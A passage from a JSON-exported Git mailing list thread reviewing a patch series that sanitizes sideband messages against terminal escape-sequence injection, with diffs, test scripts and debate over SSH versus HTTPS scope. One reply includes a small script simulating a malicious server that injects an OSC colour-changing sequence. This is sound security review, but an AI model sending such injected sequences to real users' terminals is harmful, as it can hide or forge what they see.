that stupid or terrible or something, or even that it\nwould render the terminal emulator _buggy_, but I'd argue that it's in the\nsame ballpark as introducing a new `git repo` command and breaking\neverybody's setup who already had an `alias.repo`: It is _totally_ within\nthe remit of Git to introduce such a command _and_ break existing user's\nsetups that way. Just like it was within the Git project's rights to\nrename all `.txt` files in `Documentation/`, breaking tons of existing\ndeeplinks on the web. Some people outside of the Git project rolled their\neyes about that decision, but they simply had no say in the matter. Same\ngoes for terminal emulators. The contract is clear: terminal emulators\ninterpret control sequences, software using them has to be careful what\ncontrol sequences it sends and has no vote which control sequences the\nterminal emulator chooses to support or not.\n\nCiao,\nJohannes\n\n> In any case I think that that is a security bug in the emulator and\n> should be fixed there as it has been in the past. I found [1] to be much\n> more informative than the mitre link above about the actual\n> vulnerabilities.\n> \n> Best Wishes\n> \n> Phillip\n> \n> [1] https://marc.info/?l=bugtraq&m=104612710031920\n> \n> > This patch series addresses this vulnerability by sanitizing the sideband\n> > channel.\n> > \n> > It is important to note that the lack of sanitization in the sideband\n> > channel is already \"exploited\" by the Git user community, albeit in\n> > well-intentioned ways. For instance, certain server-side hooks use ANSI\n> > color sequences in error messages to make them more noticeable during\n> > intentional failed fetches, e.g. as seen at\n> > https://github.com/kikeonline/githook-explode and\n> > https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php\n> > \n> > To accommodate such use cases, Git will allow ANSI color sequences to pass\n> > through by default, while presenting all other ASCII control characters in a\n> > common form (e.g., presenting the ESC character as ^[).\n> > \n> > This vulnerability was reported to the Git security mailing list in early\n> > November, along with these fixes, as part of an iteration of the patches\n> > that led to the coordinated security release on Tuesday, January 14th, 2025.\n> > \n> > While Git for Windows included these fixes in v2.47.1(2), the consensus,\n> > apart from one reviewer, was not to include them in Git's embargoed\n> > versions. The risk was considered too high to disrupt existing scenarios\n> > that depend on control characters received via the sideband channel being\n> > sent verbatim to the user's terminal emulator.\n> > \n> > Several reviewers suggested advising terminal emulator writers about these\n> > \"quality of implementation issues\" instead. I was quite surprised by this\n> > approach, as it seems overly optimistic to assume that terminal emulators\n> > could distinguish between control characters intentionally sent by Git and\n> > those unintentionally relayed from the remote server.\n> > \n> > Please note that this patch series applies cleanly on top of v2.47.2. To\n> > apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced\n> > security releases), the calls to test_grep need to be replaced with calls\n> > to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be\n> > replaced with calls to git_config_get_string().\n> > \n> > Johannes Schindelin (3):\n> > sideband: mask control characters\n> > sideband: introduce an \"escape hatch\" to allow control characters\n> > sideband: do allow ANSI color sequences by default\n> > \n> >   Documentation/config.txt            |  2 +\n> >   Documentation/config/sideband.txt   | 16 ++++++\n> >   sideband.c                          | 78 ++++++++++++++++++++++++++++-\n> >   t/t5409-colorize-remote-messages.sh | 30 +++++++++++\n> >   4 files changed, 124 insertions(+), 2 deletions(-)\n> >   create mode 100644 Documentation/config/sideband.txt\n> > \n> > \n> > base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe\n> > Published-As:\n> > https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1\n> > Fetch-It-Via: git fetch https://github.com/gitgitgadget/git\n> > pr-1853/dscho/sanitize-sideband-v1\n> > Pull-Request: https://github.com/gitgitgadget/git/pull/1853\n> \n> \n"},{"id":"531563","messageId":"7fa83a64-95f3-9ca8-537e-12a7f919d8ae@gmx.de","threadId":"62809","inReplyTo":"f2ce08c4-f70e-487a-8dd9-286ee5bc683d@gmail.com","subject":"Re: [PATCH 1/3] sideband: mask control characters","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2025-12-02T15:43:54Z","receivedAt":"2025-12-02T15:43:58Z","isPatch":true,"body":"Hi Phillip,\n\nOn Wed, 15 Jan 2025, Phillip Wood wrote:\n\n> Just a couple of small comments\n> \n> On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:\n> > From: Johannes Schindelin <johannes.schindelin@gmx.de>\n> > \n> > +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int\n> > n)\n> > +{\n> > +\tstrbuf_grow(dest, n);\n> > +\tfor (; n && *src; src++, n--) {\n> > +\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n> \n> Isn't it a bug to pass '\\n' to maybe_colorize_sideband() ?\n\nWhile a band 2 message is indeed split by newlines and fed to this\nfunction line by line, which is the case for a long time already: since\ned1902ef5c6 (cope with multiple line breaks within sideband progress\nmessages, 2007-10-16), the same is not true for band 3 messages: They pass\nthe entire message in one go (and for multi-line payload, only the first\nline is prefixed with `remote:`, which is arguably a bug, but not one that\nis within this here patch series' scope).\n\nSee\nhttps://gitlab.com/git-scm/git/-/blob/v2.52.0/sideband.c#L191 and\nhttps://gitlab.com/git-scm/git/-/blob/v2.52.0/sideband.c#L176,\nrespectively.\n\nSo no, I don't think that we can currently consider it a bug to pass `\\n`\nas part of the `src` parameter to `maybe_colorize_sideband()`.\n\n> > +\t\t\tstrbuf_addch(dest, *src);\n> > +\t\telse {\n> > +\t\t\tstrbuf_addch(dest, '^');\n> > +\t\t\tstrbuf_addch(dest, 0x40 + *src);\n> \n> This will escape DEL ('\\x7f') as \"^\\xbf\" which is invalid in utf-8 locales.\n> Perhaps we could use \"^?\" for that instead.\n\nGood point! This seems to be the historical way to escape DEL, probably\nbecause 0x3f ('?') is 0x7f + 0x40 truncated to 7 bits. I'll do this in the\nnext iteration:\n\n-- snip --\ndiff --git a/sideband.c b/sideband.c\nindex f613d4d6cc3..684621579fd 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -175,7 +175,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \t\t\tn -= i;\n \t\t} else {\n \t\t\tstrbuf_addch(dest, '^');\n-\t\t\tstrbuf_addch(dest, 0x40 + *src);\n+\t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n \t\t}\n \t}\n }\n-- snap --\n\n> \n> > +test_expect_success 'disallow (color) control sequences in sideband' '\n> > +\twrite_script .git/color-me-surprised <<-\\EOF &&\n> > +\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n> > +\texec \"$@\"\n> > +\tEOF\n> > +\ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n> > +\ttest_commit need-at-least-one-commit &&\n> > +\tgit clone --no-local . throw-away 2>stderr &&\n> > +\ttest_decode_color <stderr >decoded &&\n> > +\ttest_grep ! RED decoded\n> \n> I'd be happier if we used test_cmp() here so that we check that the sanitized\n> version matches what we expect and the test does not pass if there a typo in\n> the script above stops it from writing the SGR code for red.\n\nI often debug test failures in Git's test suite and one of the most\nannoying category of test failures is when test cases expect byte-wise\nexact Git output that changed for totally legitimate reasons [*1*].\n\nEven worse: In many of those instances, the _intent_ of the check is not\neven clear from that `test_cmp` and has to be reconstructed, a boring,\ntedious task with little benefit to show for the effort.\n\nI much prefer tests like this one, where a precise `test_grep` states\nexactly what it expects to be present, or missing. The intent of such a\ncommand is much clearer than that of `test_cmp expect actual`.\n\nSo, much as I appreciate your suggestion, I would prefer to keep the code\nas-is.\n\nCiao,\nJohannes\n\nFootnote *1*: This really is not hypothetical. I had to battle quite a bit\nwith unstable compression sizes that are part of a `test_cmp` comparison,\nhttps://github.com/git-for-windows/git/pull/5926#issuecomment-3486556940\nshows a bit of the problems but is very shy about providing the specific\nnumber of days I spent on addressing this issue. In hindsight, I should\nhave spent at most two hours on converting that from a byte-wise\ncomparison to a qualitative comparison.\n"},{"id":"531597","messageId":"aS-D5lD2Kk6BHNIl@fruit.crustytoothpaste.net","threadId":"62809","inReplyTo":"f4a0cf5a-fe35-e038-a78e-e87caef03780@gmx.de","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"brian m. carlson","fromEmail":"sandals@crustytoothpaste.net","sentAt":"2025-12-03T00:47:16Z","receivedAt":"2025-12-03T00:47:20Z","isPatch":true,"body":"On 2025-12-02 at 14:11:54, Johannes Schindelin wrote:\n> So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.\n> https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST\n> for this control sequence, as well as others that elicit responses from\n> terminal emulators, from current cursor position to terminal\n> capabilities)? I use this Escape sequence myself in my `tmux` sessions to\n> toggle the colors between bright-on-dark and dark-on-bright.\n\nSo let's talk about this class of escape sequences with your patches for\na moment.  I compiled the patches in this series on my system and\nchanged the default PATH to use that client-side git binary (the\nserver-side is unchanged).  I have not changed any configuration related\nto your patches, so the behaviour is the patch default.\n\nI have a server called castro (after the San Francisco neighbourhood)\nand I added the following script called `~/bin/fake-git-upload-pack`,\nwhich should let us simulate a malicious server:\n\n----\n#!/bin/sh\n\nprintf '\\033]10;rgb:ffff/ffff/ffff\\007Hello, world!\\n' >&2\n\nexec git-upload-pack \"$@\"\n----\n\nThis basically uses this class of escape sequences to change the\nforeground colour to bright white.\n\nI then ran a clone command, like so:\n\n----\n% git clone -u fake-git-upload-pack castro:~/git/css.git\nCloning into 'css'...\nHello, world!\nremote: Enumerating objects: 663, done.\nremote: Counting objects: 100% (4/4), done.\nremote: Compressing objects: 100% (3/3), done.\nremote: Total 663 (delta 0), reused 0 (delta 0), pack-reused 659 (from 1)\nReceiving objects: 100% (663/663), 114.83 KiB | 38.28 MiB/s, done.\nResolving deltas: 100% (329/329), done.\n----\n\nDespite my patched Git binary, the escape sequence was executed and my\nforeground colour was changed.  So I don't think these patches are\nsufficient to actually fix the issue and I somewhat doubt that it's even\npossible at all to defend against a malicious SSH server which would\nlike to send arbitrary escape sequences in general.\n\nI don't think we can just close stderr or not wire it up to the TTY\nbecause OpenSSH needs the TTY to prompt and doing so also breaks things\non Windows.[0]  There are also cases where the remote side sends\nmessages over the Banner portion of the protocol that are required for\nauth ($DAYJOB sends a unique URL for 2FA, for instance) and redirecting\nstderr to `/dev/null` would mean that people couldn't log into those\nmachines.\n\nIf it's the case that we effectively can't fix this for SSH, I don't see\nthe advantage to trying to patch this for HTTPS, since it would give a\nfalse sense of security and many people use both in their daily work (I\ncertainly do).\n\n> It is true that many terminal emulators started disabling support for such\n> Escape sequences. But that's not because the terminal emulators' features\n> were buggy. That's because some console programs are buggy, allowing\n> payload originating from outside the user's trust boundary to be passed\n> through to the terminal without proper sanitizing. That's what the entire\n> CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)\n> is all about.\n\nIt is in general very difficult to eliminate all sources of untrusted\ninput in the terminal because people run `cat` and a variety of other\ntools on untrusted files all the time.  It would certainly be convenient\nif we did not need to deal with that case, but we do nonetheless.\nThat's why we've tended to patch terminal emulators when escape\nsequences execute code.\n\n> That check, whether the output is even sent to a terminal emulator or not,\n> is notably something that cannot ever be done by those `pre-receive` hooks\n> that were held up as examples to block this here patch series: They have\n> no way of knowing whether or not their output goes to a terminal, but they\n> send the control sequences anyway. Because YOLO, I guess. In that\n> respect, I think that even you two would agree that those `pre-receive`\n> hooks are broken by design.\n\nI don't agree.  Lots of systems that are not terminals interpret\nat least some terminal escape sequences, such as GitHub Actions.  And I\ncan tell you that there are a substantial number of organizations that do\nindeed have actual pre-receive hooks in production that use terminal\nescape sequences without actually knowing that the other side supports\nthem because I have had to troubleshoot those pre-receive hooks.\n\nEven if we were to agree that it might not be desirable to send terminal\nescape sequences without knowing if there's a terminal, people do it,\nand even Vim does it (try `TERM=dumb vim -e`, whereupon it will send\nescape sequences, much to my annoyance).  I don't think we can say that\neverybody thinks this kind of thing is unreasonable and clearly some\npeople very much want to do it and make reasonably good use of it, so\nit's a use case we should consider.\n\n> Also, it is relatively easy if you fail to protect your terminal emulator\n> to have your entire session messed up to a point where not even a `reset`\n> restores it. And corrupting the terminal session is still much better than\n> getting pranked by having all of Git's output be overwritten with a\n> picture of a snake (download the raw version of\n> https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!\n> verifying that it is just a regular text file containing only a few\n> harmless escape sequences~ -- and then `cat` it to your terminal). That\n> could have been goatse, too, though. Or for that matter (as\n> https://github.com/mpv-player/mpv demonstrates, which allows you to render\n> entire Youtube videos in your current terminal window) you could be\n> Rick-rolled. And all of those are still pranks more than anything. Much\n> worse can be done with those terminal emulator capabilities.\n\nAs I mentioned, sending Sixel images can be legitimately useful to send\nthings like QR codes to build outputs or for things like authentication.\nCertainly there are less savoury things one can do as well.\n\n> For the record, I was almost successfully gas-lit into believing that this\n> here issue is not even a vulnerability, as was claimed by some (but not\n> all) involved in the discussion on the Git security list. Fortunately I am\n> in a wonderful position that I have access to outstanding security\n> researchers, and I asked two of them, independently, to tell me whether or\n> not this is a vulnerability that needs to be fixed. Independently, both\n> agreed that my assessment \"High\" was too high, and it should have been\n> \"Moderate\" instead. At the same time, they also both agreed that it is a\n> vulnerability that should be fixed in Git.\n\nI don't think \"gas-lit\" is an accurate characterization of the\ndiscussion.  I disagreed with you that this was a Git-specific problem\nand some others wanted more discussion about the matter.  I don't think\nanyone else had intentions of misleading or deceiving you, or making you\ndoubt your memory or perceptions of reality, and I certainly did not.\nInstead, we simply disagreed on a technical matter.  Linus and I have\nclearly disagreed strongly on some matters on this list in the past and\nI don't think that \"gaslighting\" would be an accurate characterization\nthere, either.\n\nI will state that while I do disagree with you on this matter and it's\nclear that we don't always see eye to eye or necessarily get along\nfamously, I do appreciate the work that you do for this project and Git\nfor Windows and I do respect you and your contributions.\n\n[0] I remember this from Git LFS: https://github.com/git-lfs/git-lfs/issues/1843\n-- \nbrian m. carlson (they/them)\nToronto, Ontario, CA\n"},{"id":"531599","messageId":"416327f5-0c12-350a-ad8f-67b402a303d6@gmx.de","threadId":"62809","inReplyTo":"aS-D5lD2Kk6BHNIl@fruit.crustytoothpaste.net","subject":"Re: [PATCH 0/3] Sanitize sideband channel messages","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2025-12-03T08:04:53Z","receivedAt":"2025-12-03T08:05:02Z","isPatch":true,"body":"Hi brian,\n\nOn Wed, 3 Dec 2025, brian m. carlson wrote:\n\n> On 2025-12-02 at 14:11:54, Johannes Schindelin wrote:\n> > So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.\n> > https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST\n> > for this control sequence, as well as others that elicit responses from\n> > terminal emulators, from current cursor position to terminal\n> > capabilities)? I use this Escape sequence myself in my `tmux` sessions to\n> > toggle the colors between bright-on-dark and dark-on-bright.\n> \n> So let's talk about this class of escape sequences with your patches for\n> a moment.  I compiled the patches in this series on my system and\n> changed the default PATH to use that client-side git binary (the\n> server-side is unchanged).  I have not changed any configuration related\n> to your patches, so the behaviour is the patch default.\n\nThank you for testing this patch series; I'm really happy that we can\ncross this long-standing item off the list. It opens the door for us to\nwork together, and I am eager to keep the momentum going.\n\n> I have a server called castro (after the San Francisco neighbourhood)\n> and I added the following script called `~/bin/fake-git-upload-pack`,\n> which should let us simulate a malicious server:\n> \n> ----\n> #!/bin/sh\n> \n> printf '\\033]10;rgb:ffff/ffff/ffff\\007Hello, world!\\n' >&2\n> \n> exec git-upload-pack \"$@\"\n> ----\n> \n> This basically uses this class of escape sequences to change the\n> foreground colour to bright white.\n> \n> I then ran a clone command, like so:\n> \n> ----\n> % git clone -u fake-git-upload-pack castro:~/git/css.git\n> Cloning into 'css'...\n> Hello, world!\n> remote: Enumerating objects: 663, done.\n> remote: Counting objects: 100% (4/4), done.\n> remote: Compressing objects: 100% (3/3), done.\n> remote: Total 663 (delta 0), reused 0 (delta 0), pack-reused 659 (from 1)\n> Receiving objects: 100% (663/663), 114.83 KiB | 38.28 MiB/s, done.\n> Resolving deltas: 100% (329/329), done.\n> ----\n> \n> Despite my patched Git binary, the escape sequence was executed and my\n> foreground colour was changed.  So I don't think these patches are\n> sufficient to actually fix the issue and I somewhat doubt that it's even\n> possible at all to defend against a malicious SSH server which would\n> like to send arbitrary escape sequences in general.\n> \n> I don't think we can just close stderr or not wire it up to the TTY\n> because OpenSSH needs the TTY to prompt and doing so also breaks things\n> on Windows.[0]  There are also cases where the remote side sends\n> messages over the Banner portion of the protocol that are required for\n> auth ($DAYJOB sends a unique URL for 2FA, for instance) and redirecting\n> stderr to `/dev/null` would mean that people couldn't log into those\n> machines.\n\nJust to clarify: the patches here are specifically about the sideband\nbehavior in HTTPS, where the attack scenario that I am trying to defend\nagainst involves a malicious server posing as a trusted one, e.g. via a\ndomain that looks highly similar to \"github.com\". In that context, SSH\nisn’t really applicable, victims would be immediately suspicious if asked\nfor SSH credentials.\n\nSo while your SSH tests are interesting, they’re outside the scope of this\npatch series. If you’d like to explore equivalent fixes on the SSH side,\nthat would be a great complementary effort, but the focus here is ensuring\nsideband over HTTPS is handled securely.\n\n> If it's the case that we effectively can't fix this for SSH, I don't see\n> the advantage to trying to patch this for HTTPS, since it would give a\n> false sense of security and many people use both in their daily work (I\n> certainly do).\n\nThanks for sharing your opinion.\n\nI would frame it a bit differently, though: security is rarely\nall‑or‑nothing, it’s a game of layers.\n\nEven if SSH-based Git operations have weaknesses that seem to be unlikely\nto be fully fixable right now, that doesn’t mean we should leave\nHTTPS-based operations exposed when we can strengthen them. Each\nimprovement reduces the attack surface, and together they add up to\nmeaningful protection. So rather than a false sense of security, I see\nthis patch series as one necessary step in a layered approach. If\ncomplementary work on SSH becomes possible, that would be great, but in\nthe meantime it seems rational to secure what we can.\n\n> > It is true that many terminal emulators started disabling support for such\n> > Escape sequences. But that's not because the terminal emulators' features\n> > were buggy. That's because some console programs are buggy, allowing\n> > payload originating from outside the user's trust boundary to be passed\n> > through to the terminal without proper sanitizing. That's what the entire\n> > CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)\n> > is all about.\n> \n> It is in general very difficult to eliminate all sources of untrusted\n> input in the terminal because people run `cat` and a variety of other\n> tools on untrusted files all the time.  It would certainly be convenient\n> if we did not need to deal with that case, but we do nonetheless.\n> That's why we've tended to patch terminal emulators when escape\n> sequences execute code.\n\nYou’re right that users sometimes do things that are hard or impossible to\nprotect against. There is nothing we can do in Git's source code to\nprevent a user from `cat`ing a malicous file, for example.\n\nBut what we _can_ do is to ensure that Git, at least, is as secure by\ndefault as we can make it. In this context: to sanitize control sequences\noriginating from outside Git's (or the Git user's) control. That’s exactly\nwhy CWE‑150 exists: the responsibility lies with programs to sanitize what\nthey pass through, rather than expecting terminal emulators to defend\nagainst every possible misuse.\n\nPatching terminal emulators is a last‑resort mitigation, and given the\nnumber of terminal emulators, it's once again far from an \"all-or-nothing\"\nsituation. In line with your earlier argument, one terminal emulator's\nmaintainer could claim that _another_ terminal emulator is still\nunpatched, so why should _they_ be required to patch theirs? You see where\nthat leads, to finger pointing instead of security, and we all lose. I'd\nrather see all terminal emulator projects doing what is in their power to\nadd layers of security, just as I am trying to do what is in my power\nregarding Git's security in this here mail thread.\n\nConcretely, even if we cannot eliminate all sources of untrusted input in\nthe terminal, in general, we should at least do our best to prevent Git\nfrom passing through untrusted input to the terminal.\n\n> > That check, whether the output is even sent to a terminal emulator or not,\n> > is notably something that cannot ever be done by those `pre-receive` hooks\n> > that were held up as examples to block this here patch series: They have\n> > no way of knowing whether or not their output goes to a terminal, but they\n> > send the control sequences anyway. Because YOLO, I guess. In that\n> > respect, I think that even you two would agree that those `pre-receive`\n> > hooks are broken by design.\n> \n> I don't agree.  Lots of systems that are not terminals interpret\n> at least some terminal escape sequences, such as GitHub Actions.  And I\n> can tell you that there are a substantial number of organizations that do\n> indeed have actual pre-receive hooks in production that use terminal\n> escape sequences without actually knowing that the other side supports\n> them because I have had to troubleshoot those pre-receive hooks.\n\nOh, I can imagine how cumbersome troubleshooting such `pre-receive` hooks\ncan be. I can imagine how insistent the inventors of such hooks are on\ndoing a legitimate thing. And because they are paying customers... they\nare right.\n\nAnd far be I from noticing that many systems that are not terminals\ninterpret some Escape sequences. In the extensive research I conducted in\nOctober and November last year in the course of developing this here patch\nseries, I even stumbled across successful exploits targeting users of\nweb-based log viewers that interpret such Escape sequences, a scenario in\nwhich I myself would have easily fallen prey to such an attack, as I would\nhave been totally unprepared to even suspect that the log viewer shows me\nanything but plain text.\n\nHaving said all that, it is incorrect in general to assume that all\nconsumers of the output of Git commands _can_ interpret Escape sequences,\neven if there should be a surprising number of consumers that do.\n\n> Even if we were to agree that it might not be desirable to send terminal\n> escape sequences without knowing if there's a terminal, people do it,\n> and even Vim does it (try `TERM=dumb vim -e`, whereupon it will send\n> escape sequences, much to my annoyance).  I don't think we can say that\n> everybody thinks this kind of thing is unreasonable and clearly some\n> people very much want to do it and make reasonably good use of it, so\n> it's a use case we should consider.\n\nI am puzzled. Do you really want to maintain that it is rational to send\nEscape sequences without checking whether the receiver can interpret them\nas desired? By this rationale, we could simplify the logic in `color.c`\nrather dramatically, and always send Escape sequences. If you think this\nthrough, I am sure you will want to stop this train of thought.\n\n> > Also, it is relatively easy if you fail to protect your terminal emulator\n> > to have your entire session messed up to a point where not even a `reset`\n> > restores it. And corrupting the terminal session is still much better than\n> > getting pranked by having all of Git's output be overwritten with a\n> > picture of a snake (download the raw version of\n> > https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!\n> > verifying that it is just a regular text file containing only a few\n> > harmless escape sequences~ -- and then `cat` it to your terminal). That\n> > could have been goatse, too, though. Or for that matter (as\n> > https://github.com/mpv-player/mpv demonstrates, which allows you to render\n> > entire Youtube videos in your current terminal window) you could be\n> > Rick-rolled. And all of those are still pranks more than anything. Much\n> > worse can be done with those terminal emulator capabilities.\n> \n> As I mentioned, sending Sixel images can be legitimately useful to send\n> things like QR codes to build outputs or for things like authentication.\n> Certainly there are less savoury things one can do as well.\n\nRight. But the presence of legitimate use-cases does not legitimize\nholding up bug fixes. For a humorous take on this, see https://xkcd.com/1172/.\n\nBy definition, every security bug fix is a breaking change. Just like the\nuser of the space bar heater in that xkcd comic, the `pre-receive` hooks\nyou cited rely on a bug that needs to be fixed.\n\nAnd a bug in Git it is, it's a weakness, matching CWE-150, giving rise to\nvulnerabilities I have illustrated on the git-security mailing list (which\nI will make public once I am reasonably certain that most Git users have\nhad a chance to upgrade to versions that no longer have those\nvulnerabilities).\n\nCiao,\nJohannes\n\n> > For the record, I was almost successfully gas-lit into believing that this\n> > here issue is not even a vulnerability, as was claimed by some (but not\n> > all) involved in the discussion on the Git security list. Fortunately I am\n> > in a wonderful position that I have access to outstanding security\n> > researchers, and I asked two of them, independently, to tell me whether or\n> > not this is a vulnerability that needs to be fixed. Independently, both\n> > agreed that my assessment \"High\" was too high, and it should have been\n> > \"Moderate\" instead. At the same time, they also both agreed that it is a\n> > vulnerability that should be fixed in Git.\n> \n> I don't think \"gas-lit\" is an accurate characterization of the\n> discussion.  I disagreed with you that this was a Git-specific problem\n> and some others wanted more discussion about the matter.  I don't think\n> anyone else had intentions of misleading or deceiving you, or making you\n> doubt your memory or perceptions of reality, and I certainly did not.\n> Instead, we simply disagreed on a technical matter.  Linus and I have\n> clearly disagreed strongly on some matters on this list in the past and\n> I don't think that \"gaslighting\" would be an accurate characterization\n> there, either.\n> \n> I will state that while I do disagree with you on this matter and it's\n> clear that we don't always see eye to eye or necessarily get along\n> famously, I do appreciate the work that you do for this project and Git\n> for Windows and I do respect you and your contributions.\n> \n> [0] I remember this from Git LFS: https://github.com/git-lfs/git-lfs/issues/1843\n> -- \n> brian m. carlson (they/them)\n> Toronto, Ontario, CA\n> \n"},{"id":"532362","messageId":"pull.1853.v2.git.1765981422.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.git.1736878772.gitgitgadget@gmail.com","subject":"[PATCH v2 0/4] Sanitize sideband channel messages","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-12-17T14:23:38Z","receivedAt":"2025-12-17T14:23:46Z","isPatch":true,"body":"Git's sideband channel passes server output directly to the client terminal\nwithout sanitization. This includes progress messages, error output, and\ndiagnostics from remote hooks during clone, fetch, and push operations.\n\nThis creates an ANSI escape sequence injection vulnerability (CWE-150\n[https://cwe.mitre.org/data/definitions/150.html]). A malicious or\ncompromised server can corrupt terminal state, obscure information, or\ninject characters into the terminal's input buffer. The client has no\nmechanism to distinguish between legitimate output and attack sequences.\n\nThis series fixes the vulnerability by sanitizing control characters in the\nsideband output. ANSI color sequences (SGR codes) pass through by default,\nsince server-side hooks exist that use these for visibility (e.g.\nhttps://github.com/kikeonline/githook-explode). By default, all other\ncontrol characters are rendered in caret notation (e.g., ESC becomes ^[).\n\nUsers who need different behavior get configuration options:\nsideband.allowControlCharacters provides an escape hatch for environments\nthat require raw passthrough. The defaults are secure.\n\nNote: This series applies cleanly on v2.47.3.\n\nChanges since v1:\n\n * Applied the suggestions by Phillip and brian.\n * Rebased onto v2.47.3.\n * Added more categories of ANSI Escape sequences that can be enabled (but\n   that are off by default because they could be used to hide information).\n\nJohannes Schindelin (4):\n  sideband: mask control characters\n  sideband: introduce an \"escape hatch\" to allow control characters\n  sideband: do allow ANSI color sequences by default\n  sideband: add options to allow more control sequences to be passed\n    through\n\n Documentation/config.txt            |   2 +\n Documentation/config/sideband.txt   |  24 +++++\n sideband.c                          | 148 +++++++++++++++++++++++++++-\n t/t5409-colorize-remote-messages.sh |  68 +++++++++++++\n 4 files changed, 240 insertions(+), 2 deletions(-)\n create mode 100644 Documentation/config/sideband.txt\n\n\nbase-commit: a52a24e03c8c711f1d5e252fba78f9276908129b\nPublished-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v2\nFetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v2\nPull-Request: https://github.com/gitgitgadget/git/pull/1853\n\nRange-diff vs v1:\n\n 1:  f7fb7a3833 ! 1:  8d70476559 sideband: mask control characters\n     @@ Commit message\n          There is likely a need for more fine-grained controls instead of using a\n          \"heavy hammer\" like this, which will be introduced subsequently.\n      \n     +    Helped-by: Phillip Wood <phillip.wood@dunelm.org.uk>\n          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n      \n       ## sideband.c ##\n     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons\n      +\t\t\tstrbuf_addch(dest, *src);\n      +\t\telse {\n      +\t\t\tstrbuf_addch(dest, '^');\n     -+\t\t\tstrbuf_addch(dest, 0x40 + *src);\n     ++\t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n      +\t\t}\n      +\t}\n      +}\n     @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'fallback to color.ui'\n      +\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n      +\texec \"$@\"\n      +\tEOF\n     -+\ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n     ++\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n      +\ttest_commit need-at-least-one-commit &&\n      +\tgit clone --no-local . throw-away 2>stderr &&\n      +\ttest_decode_color <stderr >decoded &&\n 2:  14c612c69a ! 2:  2615abd8c5 sideband: introduce an \"escape hatch\" to allow control characters\n     @@ Commit message\n          To help with those use cases, give users a way to opt-out of the\n          protections: `sideband.allowControlCharacters`.\n      \n     +    Suggested-by: brian m. carlson <sandals@crustytoothpaste.net>\n          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n      \n       ## Documentation/config.txt ##\n     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons\n       ## t/t5409-colorize-remote-messages.sh ##\n      @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'disallow (color) control sequences in sideband' '\n       \tEOF\n     - \ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n     + \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n       \ttest_commit need-at-least-one-commit &&\n      +\n       \tgit clone --no-local . throw-away 2>stderr &&\n 3:  a26c4ed6ce ! 3:  44585ba1f4 sideband: do allow ANSI color sequences by default\n     @@ Commit message\n          to the terminal, and `sideband.allowControlCharacters` to override that\n          behavior.\n      \n     -    However, some `pre-receive` hooks that are actively used in practice\n     -    want to color their messages and therefore rely on the fact that Git\n     -    passes them through to the terminal.\n     +    However, as reported by brian m. carlson, some `pre-receive` hooks that\n     +    are actively used in practice want to color their messages and therefore\n     +    rely on the fact that Git passes them through to the terminal, even\n     +    though they have no way to determine whether the receiving side can\n     +    actually handle Escape sequences (think e.g. about the practice\n     +    recommended by Git that third-party applications wishing to use Git\n     +    functionality parse the output of Git commands).\n      \n          In contrast to other ANSI escape sequences, it is highly unlikely that\n          coloring sequences can be essential tools in attack vectors that mislead\n          Git users e.g. by hiding crucial information.\n      \n          Therefore we can have both: Continue to allow ANSI coloring sequences to\n     -    be passed to the terminal, and neutralize all other ANSI escape\n     -    sequences.\n     +    be passed to the terminal by default, and neutralize all other ANSI\n     +    Escape sequences.\n      \n          Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n      \n     @@ Documentation/config/sideband.txt\n      +\tthis config setting to override this behavior:\n      ++\n      +--\n     ++\tdefault::\n      +\tcolor::\n      +\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n      +\t\tbut mask all other control characters. This is the default.\n     @@ sideband.c: static struct keyword_entry keywords[] = {\n      -static int allow_control_characters;\n      +static enum {\n      +\tALLOW_NO_CONTROL_CHARACTERS = 0,\n     -+\tALLOW_ALL_CONTROL_CHARACTERS = 1,\n     -+\tALLOW_ANSI_COLOR_SEQUENCES = 2\n     ++\tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n     ++\tALLOW_DEFAULT_ANSI_SEQUENCES = 